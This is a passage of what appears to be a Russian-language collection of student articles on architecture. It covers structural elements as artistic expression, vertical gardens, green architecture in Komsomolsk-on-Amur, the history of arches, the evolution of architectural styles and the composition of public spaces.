тельную конструкцию. Сама колонна — это архитектурный образ или же композиция.  

Конструкции как элементы зданий участвуют в создании выразительной архи-
тектурной формы, и архитектор может использовать эстетические свойства конструк-
ций как предмет своего творчества.   

Конструкция (от лат. constructio — составление, построение) — строение, 
устройство, взаимное расположение частей какого-либо предмета. Строительная кон-
струкция — часть здания или сооружения, выполняющая определённые несущие, 
ограждающие или эстетические функции. Рассмотрим подробнее конструкции как 
часть архитектурного образа. У строительных конструкций основная цель это обеспе-
чение прочности и долговечности здания, также важным фактором является его удоб-
ство для конкретного использования. Однако, следует знать что каждое здание несёт 
определенный целостный художественный образ, имеющий свою творческую кон-
струкцию. Элементы здания могут иметь художественный смысл в архитектуре, он за-
ключается в преображении строительных конструкции в композицию.  Обратимся к ис-
тории, первыми сооружениями, где применимо такое значения — это постройки Древ-
него Египта, Греции, Рима, сейчас их считают эталоном архитектурной пластики, в ка-
честве примера можно привести древнеримский амфитеатр Эль-Джема (рисунок 1).  

 
Рисунок 1 – Древнеримский амфитеатр Эль-Джема 
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Элементы здания становятся частью архитектурного образа благодаря архитек-
турной композиции — способу организации элементов с целью достижения общего 
единства и гармоничности. Также существуют некоторые аспекты, которые формируют 
архитектурный образ, выделим некоторые из них: строительные материалы, ритм, мас-
штаб, симметрия, фактура, цвет поверхности, игра света и тени, климатические особен-
ности. Выбор строительных материалов влияет на качество и экономические требова-
ния.  Климатические особенности региона важны для ориентации архитектурных ре-
шений фасадов с учётом направлений ветров в разное время года. Рассмотрим в каче-
стве примера жаркий сухой климат для него характерна замкнутая форма зданий, где 
дома представляют собой раскрытые жилые помещения, а также затенённый внутрен-
ний двор. Соответственно в условиях жаркого влажного климата и в условиях холодно-
го климата используются другие способы построения. Для жаркого применяют откры-
тый тип, используется многослойная изоляцию и систему естественной вентиляции. В 
холодном климате актуальна компактная планировка, где различные зоны соединяют 
через закрытые переходы, используются хорошая теплоизоляция.  

Под ритмом понимается чередование одинаковых элементов с одинаковыми ин-
тервалами, в свою очередь это создаёт гармонию и позволяет избежать монотонности в 
архитектуре зданий. В качестве примера можно использовать ритмическую повторяе-
мость колонн в Казанском соборе в Санкт-Петербурге (рисунок 2). Это создаёт иллю-
зию непрерывного движения и придаёт особый динамизм ансамблям. 

Фактура выражает качество материалов. Различные визуальные эффекты, такие 
как гладкость, шероховатость, яркость и тяжесть создаются благодаря текстурам. В ка-
честве примера использование грубой каменной отделки придает зданию аскетичный и 
мощный вид, а вот для создания современного и минималистического облика исполь-
зуют стекло или металл.  

Цвет также является характеристикой строительных материалов. Каждый цвет 
— это настоящая палитра символики и ассоциаций. Например, тёплые оттенки, такие 
как коричневый и желтый, создают атмосферу уюта и тепла, словно обнимают нас. В то 
время как холодные оттенки, как фиолетовый или зеленый, наполняют пространство 
ощущением свежести и лёгкости, как утренний ветерок. 

Игра света и тени создаёт целостный художественный образ. Разнообразие от-
тенков и характеристики поверхностей способны преобразовать восприятие света в 
пространстве. К примеру, светлые цвета и гладкие поверхности работают как магниты 
для света, отражая его и наполняя помещение яркостью и ощущением простора. Напро-
тив, тёмные цвета и шероховатые текстуры поглощают свет, создавая атмосферу спо-
койствия и уюта, как уютный уголок для отдыха. 

Масштаб – это соотнесённость всех параметров сооружения с размерами чело-
века и его восприятием. Его задействуют как средство гармонизации архитектурной 
формы, и как художественное качество формы.  

Симметрия — это гармония расположения элементов вокруг центральной оси, 
создающая визуальный эффект статичности и устойчивости. Она придаёт сооружениям 
ощущение прочности и целостности, как будто они стоят на прочном основании. 

 
Рисунок 2 – Казанский собор в Санкт-Петербурге 
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Конструкция в архитектуре — это важный компонент художественного выраже-
ния. Архитекторы, осознавая значимость конструктивных деталей, способны создавать 
не только устойчивые и безопасные здания, но и уникальные произведения искусства, 
которые отражают дух времени и культурные контексты. Интеграция конструктивных 
элементов в архитектурный образ позволяет достигать гармонии между эстетикой и 
функциональностью, открывая новые горизонты для творчества. 

Современные технологии и инновационные материалы предоставляют архитек-
торам возможность экспериментировать с формами и структурными решениями, что 
делает конструкцию еще более выразительным средством. Важно помнить, что каждая 
деталь здания — это не просто технический элемент, а часть общей концепции, способ-
ная вызывать эмоции и формировать восприятие пространства. Таким образом, осозна-
ние конструкции как искусства не только обогащает архитектурный язык, но и способ-
ствует созданию более глубоких и значимых решений, которые будут вдохновлять бу-
дущие поколения. 
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ВЕРТИКАЛЬНОЕ ОЗЕЛЕНЕНИЕ В ЛАНДШАФТНОЙ АРХИТЕКТУРЕ 
 
VERTICAL LANDSCAPING IN LANDSCAPE ARCHITECTURE 
 
Аннотация. Статья исследует применение вертикального озеленения в современной 
ландшафтной архитектуре. Рассматриваются инновационные технологии создания вер-
тикальных садов и живых стен, их экологическое и эстетическое значение в городской 
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среде. Анализируются преимущества вертикального озеленения: улучшение микро-
климата, шумоизоляция, энергоэффективность зданий. Приводятся примеры успешных 
проектов, демонстрирующих интеграцию природы в урбанистическое пространство. 
Обсуждаются перспективы развития вертикального озеленения как ключевого элемента 
устойчивого городского дизайна, способствующего повышению качества жизни в ме-
гаполисах. 
Annotation. The article explores the application of vertical landscaping in modern landscape 
architecture. Innovative technologies for creating vertical gardens and living walls, their eco-
logical and aesthetic significance in the urban environment are considered. The advantages of 
vertical landscaping are analyzed: improvement of the microclimate, noise insulation, energy 
efficiency of buildings. Examples of successful projects demonstrating the integration of na-
ture into urban space are given. The prospects for the development of vertical landscaping as 
a key element of sustainable urban design that contributes to improving the quality of life in 
megacities are discussed. 
Ключевые слова: Вертикальное озеленение, биофильный дизайн, урбаноэкология, фи-
тостены, зеленая архитектура. 
Keywords: Vertical landscaping, biophilic design, urban ecology, phytostenes, green architec-
ture. 

 
В эпоху стремительной урбанизации и растущей озабоченности экологическими 

проблемами, вертикальное озеленение становится одним из ключевых направлений в 
современной ландшафтной архитектуре. Этот инновационный подход к интеграции 
природы в городскую среду предлагает эффективное решение проблемы нехватки зе-
леных пространств в плотно застроенных городских районах. 

Вертикальное озеленение представляет собой технологию озеленения фасадов 
зданий, стен и других вертикальных поверхностей с использованием живых растений. 
Это не только эстетическое украшение, но и мощный инструмент для улучшения эко-
логической обстановки в городах. Применение данной технологии позволяет создавать 
"зеленые оазисы" там, где традиционное горизонтальное озеленение невозможно или 
ограничено. История вертикального озеленения уходит корнями в древние цивилиза-
ции, но современный подход, основанный на научных исследованиях и инновационных 
технологиях, открывает новые горизонты для его применения. От небольших зеленых 
стен в интерьерах офисов до масштабных проектов озеленения небоскребов – верти-
кальное озеленение становится неотъемлемой частью устойчивого городского разви-
тия. Вертикальное озеленение представляет собой инновационный подход к интегра-
ции растительности в архитектурную среду, при котором растения размещаются на 
вертикальных поверхностях зданий и сооружений. Эта концепция не нова – историче-
ски она восходит к висячим садам Семирамиды, считавшимся одним из семи чудес 
древнего мира. Однако современное вертикальное озеленение, основанное на передо-
вых технологиях и научных исследованиях, значительно расширило возможности и 
масштабы применения этого подхода. В 1938 году профессор Стэнли Харт Уайт запа-
тентовал первую современную систему вертикального озеленения, что можно считать 
началом научного подхода к этой области. Однако настоящий прорыв произошел в 
конце XX – начале XXI века, когда французский ботаник Патрик Блан разработал и по-
пуляризировал концепцию "вертикального сада" или "живой стены". Его инновацион-
ные проекты, такие как вертикальный сад в музее Quai Branly в Париже, привлекли 
всемирное внимание к потенциалу вертикального озеленения в городской архитектуре. 

Современное вертикальное озеленение использует разнообразные технологии и 
методы, которые можно разделить на несколько основных категорий: 

1. Системы с почвенным субстратом: Эти системы используют контейнеры или 
модули, заполненные почвой или другим субстратом, в которых высаживаются расте-
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ния. Они могут быть как простыми (например, ярусные конструкции с горшками), так и 
сложными (модульные системы с встроенным орошением). 

2. Гидропонные системы: В этих системах растения выращиваются без почвы, 
получая питательные вещества из водного раствора. Такие системы часто используют-
ся для создания масштабных "живых стен" внутри зданий. 

3. Войлочные системы: Разработанные Патриком Бланом, эти системы исполь-
зуют слои синтетического войлока, прикрепленные к вертикальной поверхности. Вой-
лок удерживает влагу и служит средой для роста растений. 

4. Системы с использованием вьющихся растений: Это наиболее традиционный 
метод, при котором вьющиеся растения растут снизу вверх по специальным опорам или 
непосредственно по стенам зданий. 

Выбор технологии зависит от многих факторов, включая климатические усло-
вия, тип здания, бюджет проекта и желаемый эстетический эффект. 

Вертикальное озеленение предоставляет ряд существенных экологических пре-
имуществ для городской среды: 

1. Воздушная среда становится заметно чище благодаря природным процессам 
растений: они не только преобразуют CO2 в O2, но и задерживают взвешенные части-
цы, очищая атмосферу от различных примесей. 

2. Тепловой баланс городской среды эффективно поддерживается благодаря 
озелененным вертикальным конструкциям: через испарение влаги с поверхности листь-
ев происходит естественное кондиционирование окружающего пространства, что про-
тиводействует перегреву мегаполисов. 

3. Энергоэффективность зданий: Вертикальное озеленение действует как до-
полнительный изоляционный слой, снижая затраты на отопление зимой и охлаждение 
летом. 

4. Биоразнообразие: Зеленые стены создают новые экологические ниши в го-
родской среде, поддерживая разнообразие флоры и фауны. 

5. Шумоизоляция: Растительный покров на стенах зданий помогает снизить 
уровень шума в городе. 

Помимо экологических преимуществ, вертикальное озеленение оказывает зна-
чительное влияние на эстетику городского пространства и психологическое благополу-
чие жителей: 

1. Улучшение городского ландшафта: Зеленые стены и фасады смягчают суро-
вость бетонных джунглей, добавляя природные элементы в урбанистическую среду. 

2. Психологический комфорт: Контакт с природой, даже визуальный, способ-
ствует снижению стресса и улучшению психического здоровья городских жителей. 

3. Повышение ценности недвижимости: Здания с вертикальным озеленением 
часто воспринимаются как более престижные и экологичные, что может повышать их 
рыночную стоимость. 

Несмотря на множество преимуществ, внедрение вертикального озеленения со-
пряжено с рядом практических вызовов: 

1. Стоимость установки и обслуживания: Создание и поддержание систем вер-
тикального озеленения может быть дорогостоящим, особенно для сложных гидропон-
ных систем. 

2. Технические сложности: Необходимо учитывать дополнительную нагрузку на 
конструкцию здания, обеспечивать правильную гидроизоляцию и вентиляцию. 

3. Выбор растений: Не все растения подходят для вертикального выращивания. 
Требуется тщательный подбор видов, учитывающий климатические условия и особен-
ности конкретной системы озеленения. 
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4. Потребление воды: Некоторые системы вертикального озеленения требуют 
значительного количества воды, что может быть проблематично в регионах с ее дефи-
цитом. 

Вертикальное озеленение продолжает развиваться, и его будущее выглядит мно-
гообещающим. Некоторые тенденции включают: 

1. Интеграция с "умными" технологиями: Использование сенсоров и автомати-
зированных систем для оптимизации ухода за растениями и повышения энергоэффек-
тивности. 

2. Биофильный дизайн: Более глубокая интеграция природных элементов в ар-
хитектуру, где вертикальное озеленение является частью целостного подхода к созда-
нию здоровой среды обитания. 

3. Адаптация к изменению климата: Использование вертикального озеленения 
как стратегии для смягчения последствий изменения климата в городах. 

4. Продовольственное обеспечение: Развитие вертикальных садов и ферм для 
выращивания продуктов питания в городской среде. 

Вертикальное озеленение представляет собой инновационное решение для со-
здания устойчивой и экологичной городской среды. Это не просто тренд в ланд-
шафтной архитектуре, а необходимость в условиях современной урбанизации. Инте-
грация живой природы в вертикальные пространства городов не только улучшает эсте-
тику, но и значительно повышает качество жизни горожан, способствуя очищению воз-
духа, регуляции температуры и созданию благоприятного микроклимата. Архитектур-
ные решения грядущих десятилетий будут все активнее включать системы вертикаль-
ного озеленения, что обусловлено как совершенствованием инженерных возможностей, 
так и возрастающей потребностью общества в экологизации городского пространства. 
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ВНЕДРЕНИЕ ПРИРОДНОГО КОМПОНЕНТА В СТРУКТУРУ  
ЗДАНИЯ В КОМСОМОЛЬСКЕ НА АМУРЕ 
 
INTRODUCTION OF A NATURAL COMPONENT INTO THE  
STRUCTURE OF A BUILDING IN KOMSOMOLSK ON AMURE 
 
Аннотация. Данная статья посвящена изучению внедрения природных компонентов в 
структуру общественного здания и способов применения их в городе Комсомольске на 
Амуре. Задача состоит в том, чтобы больше узнать об внедрении природных компонен-
тов в структуру общественного здания, откуда пошла такая практика, для чего исполь-
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зуется, как это влияет на здоровье человека, какие проблемы поможет решить и как её 
можно применить в таком промышленном городе как Комсомольск на Амуре.  
Annotation. This article is devoted to the study of the introduction of natural components into 
the structure of a public building and methods of using them in the city of Komsomolsk-on-
Amur. The goal is to learn more about the introduction of natural components into the struc-
ture of a public building, where this practice came from, what it is used for, how it affects 
human health, what problems it will help solve and how it can be applied in such an industrial 
city as Komsomolsk-on-Amur.  
Ключевые слова: природные компоненты, зелёная архитектура, экология, фасады, го-
род, благоустройство. 
Key words: natural components, green architecture, ecology, facades, city, landscaping. 

 
Комсомольск на Амуре является промышленным городом, находящийся в Хаба-

ровском крае и расположенный на левом берегу реки Амур. С 2016 года является горо-
дом президентского внимания и в рамках этой программы в Комсомольске идёт рекон-
струкция исторических зданий, развивают городскую среду, создают новые центры 
притяжения и многое другое. Одним из центров притяжения могли бы стать здания, в 
структуру которых включены природные компоненты. Такая тенденция в архитектуре 
по сути является озеленением любой части здания: фасада, торца, входа, террасы, бал-
кона и тому подобное. Помогает выявить особенности формы строения, сделать ак-
центную часть на фасаде, является защитой стен от перегрева, переохлаждения и вы-
ветривания, заменяя облицовку.  

История происхождения внедрения природного компонента в структуру 
зданий: С древних времён люди имели связь с природой и растения были прочно впи-
саны в их жизнь. С давних времён человек выращивал около дома растения годные в 
пищу или для лечения, чтобы они были всегда под рукой, позже некоторые растения 
выращивал у себя в доме для уюта и красоты. Примеры внесения растений и ланд-
шафтных элементов в свои жилища можно встретить и в египетских храмах или двор-
цах, и на греческих колоннах и других строениях прошлого. К упоминаниям включения 
растений именно в структуру зданий можно отнести висячие сады Семирамиды, в ко-
торых, как утверждают историки, было применено вертикальное озеленение стен, так-
же в Древнем Египте в период среднего царства многие полезные растения и пальмы 
высаживались прямо на крышах зданий, что было результатом плотной застройки и уз-
ких улиц. Можно вспомнить, что с эпохи Великих Географических Открытий из путе-
шествий часто привозили множество экзотических растений, которые не приживались 
в новой среде, поэтому выращивались они в помещениях, а также строились специаль-
но для содержания растений ботанические сады, зимние сады, оранжереи, померанские 
домики для выращивания цитрусов и т.п. В основном практика озеленения зданий рас-
пространилась в XX веке, появилось множество кинотеатров, автовокзалов, аэропор-
тов, торговых центров, административных зданий и других общественных архитектур-
ных объектов, в которые включается природный компонент в архитектуру сооружения. 

Применение внедрения природного компонента в структуру зданий: 
Внедрение растительных элементов в структуру зданий, чаще всего называемой 

«зелёной архитектурой», в строительстве архитектурных сооружений является доволь-
но популярной тенденцией. Всё благодаря тому, что в наше время есть больше возмож-
ностей и технологий для их осуществления: автоматический полив, подсветка, искус-
ственное поддержание температуры и т.п. Это позволяет строить более сложные мас-
штабные и эстетически красивые конструкции зданий с растительными насаждениями. 
(рисунок 1) Основными причинами прибегать к внедрению природных элементов в ар-
хитектурные сооружения являются плотная застройка и дорогая стоимость земли, ко-
торые не позволяют обустроить вокруг здания благоустройство ландшафта, экология 
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городов, способы оригинального украшения фасада или высказать на экологическую 
или другую тему, замена облицовки, организация зоны отдыха и релаксации или позна-
вательного уголка о растениях.  

              а)                                                    б) 

 
                          в)                                                         г) 

Рисунок 1 – а) ATLAS HOTEL, Хойан, Вьетнам; б) One Central Park, Бродвей, 
Сидней; в) Oasia Hotel Downtown, Сингапур 

Для чего используется внедрение природного компонента в структуру зда-
ний и как влияет на человека: 

Комсомольск-на-Амуре является промышленным центром, и, следовательно, 
имеет проблемы с загрязнением окружающей среды. Не удивительно, что состав возду-
ха города довольно нездоровый для человека, также своё воздействие оказывает дым от 
ежегодных пожаров в тайге. Растения могут немного с этим помочь, так как имеют 
свойства обогащать кислородом место своего нахождения, поглощать пыль и вредные 
вещества, а некоторые имеют свои полезные особенности, к примеру минимизация 
ионизации воздуха, отпугивание насекомых, вырабатывать полезные для человека ве-
щества и многое другое. Архитектор должен внимательно подходить к выбору расте-
ний, так как они могут быть ядовитыми или вызывать аллергию. Также можем вспом-
нить, что в городе идут работы по улучшению и реконструкции городской среды, что 
служит ещё одной причиной применения природных компонентов в структуре зданий, 
которые могут помочь облагородить и разнообразить облика города и сделать его более 
гармоничным и красивым. К тому же ещё одной причиной обратится к зелёной архи-
тектуре, это увеличение примечательных и притягивающих внимание мест в городе для 
проведения досуга, отдыха, развлечения или получения знаний об растениях. 

В данной работе мы разобрали, что такое внедрение природного компонента в 
структуру здание, его происхождение, какую помощь может оказывать в определённых 
проблемах и как и почему его можно применить в Комсомольске на Амуре. Озеленение 
это не только способ внести уголок природы в любое строение, при отсутствии воз-
можности окружить его растительностью, но и украсить фасад здания, создать инте-
ресное для людей место, облагородить город, организовать пространство, заложить по-
сыл для других людей и многое другое. 
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АРОЧНЫЕ КОНСТРУКЦИИ В ИСТОРИИ АРХИТЕКТУРЫ 
 
ARCHED STRUCTURES IN THE HISTORY OF ARCHITECTURE 
 
Аннотации. В данной статье рассматривается роль архитектурной конструкции как арка 
в истории, которая демонстрирует социальные идеи через применение геометрических 
форм. Хотя здания могут значительно отличатся визуально, они могут иметь тонкие 
связи друг с другом, сохраняя в своей основе неизменную образную структуру. 
Ключевым элементом этой структуры является арка. 
Annotations. This article examines the role of an architectural structure as an arch in history, 
which demonstrates social ideas through the use of geometric shapes. Although buildings may 
differ significantly visually, they may have subtle connections with each other, while 
maintaining an essentially unchanged figurative structure. The key element of this structure is 
the arch. 
Ключевые слова: арка, конструкции, архитектура, здание, материалы. 
Key words: arch, structures, architecture, building, materials. 
 

Арка – несущий элемент с положительной кривизной, которые взаимодействует 
с внешним нагрузочным потоком, охватывая всю свою поверхность. Эти конструкции в 
основном классифицируются по их форме, статическим схемам и способам восприятия 
распределенных сил. Арочная конструкция одна из выдающихся изобретений 
человечества, представляющая собой одну из самых древнейших форм архитектурного 
творчества. Арочная конструкция применялась для решения различных архитектурных 
задач, при этом, имея ритуальное и символическое значение. Арки служили для 
закрытия проемов в стенах и пространства между поддерживающими элементами 
(колоннами, столбами, пилонами), а также выполняла функцию несущей конструкции, 
предназначенной для оформления зданий с широкой системой или проемов в домах. 
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Материалы для построения арок были различными от железобетона до кирпича, камня 
или металла. Усовершенствование концепции арки как строительный элемент, было 
произведено Древними римлянами, с этого момента арка стала востребованным 
элементом и применялась по всей империи при строительстве мостов, амфитеатров и 
стадионов, но также они восхищались силой и смелостью идей, заключенных в этой 
героической форме [1]. 

Происхождение арок в природе 
Арки в природе представляют собой величественные и изысканные образования, 

сформированные под действием воды и ветра. Каждая арка уникальна и отличается от 
всех остальных. Арка еще с древних времен привлекала внимание людей, например, как 
вход в пещеру, радуга и даже прислонившиеся друг к другу деревья. Существует много 
примеров подобного явления, одним из которых является известная Лондонская арка, 
расположенная на южном побережье Австралии (рисунок 1а), также не менее известной 
является утес Персе в провинции Квебек (рисунок 1б) и гора Слоновий хобот, 
находящуюся у реки на юге Китая (рисунок 1в) [3].  
  а)                                                                        б) 

                               в) 

  
Рисунок 1– а) Лондонская арка; б) утес Персе; в) гора Слоновий хобот 

В первобытном обществе арка служила символом небесного свода. В греческой 
мифологии она ассоциировалась с верхнем божеством Зевсом, а в Древнем Китае 
считалась местом, по которому движется солнце. В некоторых древних культурах 
переход под аркой ассоциируется с возрождением и окончательным разрывом с 
прошлым существованием. В традициях Востока и Ближнего Востока арка 
символизирует трансформацию, небесное величие и объединение земного с 
божественным [3]. 

История арочных конструкций 
Первоначальные арочные конструкции начали строить еще в эпоху Древнего 

Египта, из-за дефицита стройматериалов как дерево и камня, основным материалом был 
сырцовый и обожженный кирпич. В древних римских и греческих сооружениях арочные 
элементы укоренились настолько прочно, что стали обязательной часть архитектурного 
стиля, где они использовались для украшения входа в храм и дворцы. В этот период 



30 

времени начала зарождаться новая конструкция арки: лучковые и полукруглые арки, но 
для создания арки применялись технологии древнего Рима, поэтому такая конструкция 
называлась римская арка. Римляне использовали арки для сооружений, которые 
сохранились до наших дней и стали достопримечательностью: Колизей и акведуки. 
Прошло время, изменились строительные материалы, технологии и формулы расчетов, 
но характер и изгиб арки оставался неизменным. В архитектуре готического стиля 
преобладали легкие стрельчатые арки, тогда как в романский стиль отличался своей 
тяжеловесностью и строгими формами, созданные из камня. Эллиптическая арка 
возникла в эпоху модерна, она отличается особой формой свода [2]. 

Золотым веком арки можно назвать Средневековье с его монументальными 
замками и величественными дворцами, в оформлении которых сводчатые потолок 
играл важную роль. В это время архитекторы разработали остроугольные арки, которые 
впоследствии позволили возводить более высокие сооружения [1]. 

В эпоху Возрождения люди стремились к прекрасному, и украшали свою жизнь 
великолепными постройками. Каждое здание в то время должно было быть не только 
красивым, но и уникальным. Здания улучшались и менялись, добавились новые 
элементы, смешались стили и моды. Но можно заметить, что самым подходящим 
украшением для замков, дворцов и башен всегда была арка. 

В Древней Греции архитекторы практически не использовали арки и своды, а 
интерьеры каменных храмов покрывали плоскими архитравами из деревянных или 
мраморных блоков [2]. 

В XX веке арки были забыты, но в сегодняшние дни это один из самых извест-
ных архитектурных элементов, используемый повсеместно. Единственным отличием 
современных арок от древних прототипов является большое различие конфигураций, 
например, по типу арки разделяются на: стрельчатые, полуциркульные, подпружные. 

А также арки можно разделить на четыре категории в зависимости от формы их 
оси: пятиугольные; треугольные, построенные из прямых полуарок; сегментные, оси 
полуарок которых располагаются на единой окружности; стрельчатые, состоящие из 
полуарок, оси которых размещены на двух окружностях, слияние которых происходит в 
ключе под углом [6]. 

Арочные конструкции – это не просто элементы дизайна, они представляют 
собой развитие архитектурных и инженерных идей. Арка сыграла важную роль в 
истории архитектуры. С момента своего появления в Месопотамии и до современной 
сегодняшней архитектуры арка зарекомендовала себя как архитектурное чудо. Сегодня 
арки можно увидеть не только в старинных памятниках, но и в современных зданиях, 
что акцентирует их многообразие и прочность. Можно сделать вывод, что арки в 
архитектуре символизируют прочность и стабильность. Это структурный элемент, 
который равномерно распределяет вес и часто используется для поддержки крыш и 
мостов [5]. 
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 Развитие архитектурных стилей — это сложный и многогранный процесс, кото-
рый формировался под влиянием множества человеческих факторов. Культура и рели-
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гия играли ключевую роль, определяя духовные и эстетические ценности общества. 
Социально-экономические условия, такие как уровень жизни, доступность ресурсов и 
технологические инновации, также оказывали значительное влияние на архитектурные 
решения. Архитектурные стили тесно связаны с другими видами искусства, такими как 
живопись, скульптура и литература. Они часто отражают общие культурные тенденции 
и идеалы своего времени. В эпоху Возрождения архитектура и искусство сливались в 
единое целое. Готическая архитектура, с её устремленными ввысь соборами и витра-
жами, отражала мистические и духовные искания средневекового общества. Архитек-
тура также служит важным историческим документом, фиксируя изменения в техноло-
гиях, социальных структурах и культурных ценностях. Древние египетские пирамиды, 
средневековые замки и современные небоскребы — все это свидетельства прогресса и 
эволюции человеческого общества. Они передают не только эстетические предпочте-
ния, но и философские, религиозные и политические идеи своего времени.  
 Древнегреческая архитектура основывалась на эпохе антропоцентризма. 
Антропоморфность, уподобление пропорциям человеческого тела, прослеживается в 
пропорциях зданий. Дорический, ионический, коринфский ордера символизируют 
человеческие фигуры. Канелюры колонн, например, - аллюзия на складки тоги. И этот 
антропоморфизм в дальнейшем переходит и в другие элементы древнегреческой 
архитектуры. Древнеримская архитектура, отличаясь многообразием и инженерными 
инновациями, активно использовала арки, купола, композитный ордер и 
цилиндрические своды. Римляне изобрели бетон и усовершенствовали конструкции. 
При этом они стремились подражать греческим архитектурным традициям в 
декорировании своих построек. Новые архитектурные формы потребовали изменения 
принципов поддержки конструкций. Колонны были заменены массивными стенами и 
пилястрами. (рисунок 1). 

Рисунок 1 - Примеры архитектуры античности: храм Ники Аптерос в Афинах  
и храм Сатурна в Риме 

Средние века, сменившие античность, характеризуются теоцентризмом и религиозным 
мировоззрением. Архитектура этого периода была направлена на создание визуальных 
иллюстраций к священным текстам. Храмы и замки, построенные в романском и готиче-
ском стилях, служили этой цели, используя скульптуру и витражи для поддержки рели-
гиозных учений. Византийская архитектура, (IV-XV вв.) использовала плинфу и густой 
раствор для кладки, мрамор и порфир для декора. Купола, украшенные мозаикой, играли 
ключевую роль. Оконные проемы завершались арками, двери изготавливались из бронзы 
с рельефами. Романский стиль характеризовался крепостной архитектурой и массивными 
оборонительными сооружениями. Романские здания отличались ясным архитектурным 
силуэтом и лаконичностью наружной отделки. Массивные стены с узкими окнами и сту-
пенчато углубленными порталами придавали постройкам прочность и обороноспособ-
ность. Башня-донжон играла центральную роль в композиции монастырских и замковых 
комплексов. Готический стиль отличался использованием арок с заостренным верхом, 
узких и высоких башен, богато украшенных фасадов и многоцветных витражных стрель-
чатых окон. Готические соборы подчеркивали вертикальность, что достигалось за счет 
скульптурного декора, покрывавшего наружные стены зданий (рисунок 2). 
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Рисунок 2 - Примеры архитектуры средних веков: церковь Богородицы Паммакаристы в 

Стамбуле, Трирский собор Святого Петра в Трире, Миланский собор в Милане 
Эпоха Возрождения, возникшая после Средневековья, вновь обратилась к гуманистиче-
ским идеям и антропоцентризму. В этот период инженерные новшества также играли 
значительную роль в развитии архитектурных стилей. Например, изобретение контрфор-
сов, аркбутанов и нервюрных сводов в готической архитектуре позволило создавать бо-
лее высокие и просторные здания с увеличенными световыми проемами. Ренессанс, воз-
никший в Италии в XV веке, был ориентирован на идеалы древнеримской архитектуры. 
Зодчие этого периода стремились к рациональному проектированию, используя ордер-
ные системы, крестово-купольные композиции и арочные ниши. Архитектурные соору-
жения приобрели симметричность и гармоничность форм. Стиль барокко, часто называ-
емый поздним ренессансом, характеризуется пространственным размахом, слитностью 
форм и обилием скульптуры. Купола барочных зданий приобрели сложные многоярус-
ные формы, а фасады украшались развернутыми колоннадами и изобилием декоратив-
ных элементов. Классицизм, в свою очередь, представляет собой противоположный 
стиль, ориентированный на античное наследие. Он характеризуется четкой объемной 
формой, симметрией и сдержанным декором. Основой классицизма является ордер, ко-
торый используется для создания гармоничных и строгих композиций. В архитектуре 
наполеоновской Франции классицизм трансформировался в стиль ампир, вдохновленный 
образами древнеримской воинской славы (рисунок 3). 

Рисунок 3 - Примеры архитектуры эпохи Возрождения: церковь Валь-де-Грас в 
Париже, Версаль в Париже, Казанский собор в Санкт Петербурге 

 Возникновение эпохи Нового времени ознаменовало собой смену парадигмы, 
когда архитектура постмодерна выступило в роли радикального критика модернизма, 
чья сухость и обезличенность воспринималась как недостаток. Постмодернисты стре-
мились наполнить архитектуру эмоциональными и интимными смыслами, восстанав-
ливая человеческую связь с пространством, делая каждое здание уникальным произве-
дением, способным выразить индивидуальность обитателя и противопоставить типовой 
застройке. В конце XIX века прорывные технологии, особенно развитие чугунных кон-
струкций, позволили взмыть небоскребам в Чикаго, преодолев технические барьеры и 
открыв новую эру высотного строительства. Авангард, как художественное и архитек-
турное движение XX века, выделялся своей бунтарской природой, отвергая модерн. Он 
характеризовался контрастными формами, неожиданными сочетаниями материалов и 
цветов, а также отказом от традиционных пропорций, стремясь вызвать сильные эмо-
циональные реакции у зрителей. В отличие от авангарда, модерн, возникший в эпоху 
индустриализации как контраргумент, сосредоточился на практической ценности и 
удобстве, при этом не отвергая эстетические изыски. Он мастерски интегрировал деко-
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ративные элементы, придавая им естественные, природные формы и мотивы, что со-
здавало гармоничное сочетание с окружающим миром. Стиль Art Deco, напротив, от-
личался строгой геометрией, смелыми линиями и этническими узорами, предпочитая 
полутона и сдержанную цветовую палитру. Фасады в этом стиле симметричны, колон-
ны заменяются прямоугольными столбами, а орнамент вдохновлен современной техни-
кой и традиционными мотивами Востока и Африки. При отделке широко используются 
металлические материалы, подчеркивая роскошь и изысканность (рисунок 4). 

   
 

    
Рисунок 4 - Примеры архитектуры Нового времени: Дом компании «Зингер» в Санкт 

Петербурге, Центр Липпо в Гонконге, школа «Баухаус»  
в Дессау, Крайслер-Билдинг в Нью-Йорке 

Архитектурные стили не только отражают эстетические предпочтения и техни-
ческие возможности эпохи, но и служат важным источником информации о культур-
ных, религиозных и социальных ценностях общества. Они помогают понять историю и 
эволюцию человеческого мышления, а также взаимосвязь между различными видами 
искусства и культуры. Архитектура объединяет прошлое и настоящее, но также может 
предсказывать будущие тенденции, являясь зеркалом текущих изменений и предвест-
ником будущих стилей. 
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COMPOSITION INDICATORS IN THE DESIGN OF PUBLIC SPACE 
 
Аннотация. В данной статье будут рассмотрены показатели, которые влияют на вос-
приятие человеком пространств как общественных, так и частных. Приведены примеры 
гармоничных и дисгармоничных композиционных решений разнообразных рекреаци-
онных зон. Описаны методы создания грамотных решений в оформлении ланд-
шафтных, интерьерных, общественных и других пространств. Обоснованы гипотезы о 
влиянии окружающего пространства на человека и его моральное состояние.  
Annotation. This article will consider indicators that influence a person’s perception of spac-
es, both public and private. Examples of harmonious and not very compositional solutions for 
various recreational areas are given. Methods for creating competent solutions in the design of 
landscape, interior, public and other spaces are described. Hypotheses about the influence of 
the surrounding space on a person and his moral state are substantiated. 
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В суровых современных реалиях каждому человеку как никогда необходимо по-

лучать как можно больше положительных эмоций. Актуальность этой потребности 
сложно оспорить. Есть явные методы повышения морального и духовного благососто-
яния, которые любой может организовать самостоятельно. На пример: провести время с 
близкими, чтение книг, путешествия, просмотр фильма, посещение театра и многое 
другое. Но есть и неочевидные факторы, влияющие на состояние человека. Речь идёт 
об окружающей среде и её наполнении. Она может как дарить умиротворение и вдох-
новение, вызывать восторг и положительные эмоции, так и вгонять в рамки, «давить» и 
даже пугать. В данной статье будут рассмотрены композиционные показатели, принци-
пы и правила в оформлении общественного пространства, интерьеров и ландшафтов 
[1]. Углубленно описано влияние окружающей среды на психоэмоциональное состоя-
ние человека. Изучены актуальные материалы, используемые в строительстве. Произ-
ведён анализ исследуемого города, для выявления стиля и особенностей, которые под-
ходят пол его колорит.  

Общественное городское пространство является совокупностью многих факто-
ров и условий: климатических, рельефных, социальных, исторических и многих других. 
Для того, чтобы создать гармоничное пространство нужно не только обладать теорети-
ческими и практическими знаниями в области композиционного оформления, но и гра-
мотно внедрять их городскую экосистему.  

Задача номер один для современного оформления – эргономичное использова-
ние пространства. В связи с этим сложились яркие тренды и особенности. Разберём са-
мые популярные из них. 

